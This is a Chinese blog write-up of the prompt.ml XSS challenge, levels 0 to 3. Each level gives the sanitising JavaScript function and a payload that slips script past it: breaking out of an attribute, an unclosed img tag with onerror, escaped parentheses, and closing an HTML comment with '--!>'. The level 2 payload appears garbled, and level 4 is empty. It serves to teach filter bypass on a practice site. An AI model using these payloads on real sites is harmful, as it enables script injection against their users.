Xss Bypass

http://prompt.ml/

0、

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}   

payload:

"><script>prompt(1)</script>

1、

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}     

正则会处理尖括号和尖括号中的内容,将其替换成空!
bypass:使用双半开括号"<<"绕过:
payload:

<img src=1 onerror="prompt(1)"<

2、

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
} 

处理了等号和左括号!
bypass:使用反引号代替括号,在通过编码解决
payload:

<script>setTimeoutprompt\u00281\u0029;</script>
3、

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}        

输出的内容在注释中,且对->做了替换处理!
bypass:html可以–>或–!>闭合注释
payload:

--!><script>prompt(1)</script>

4、

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。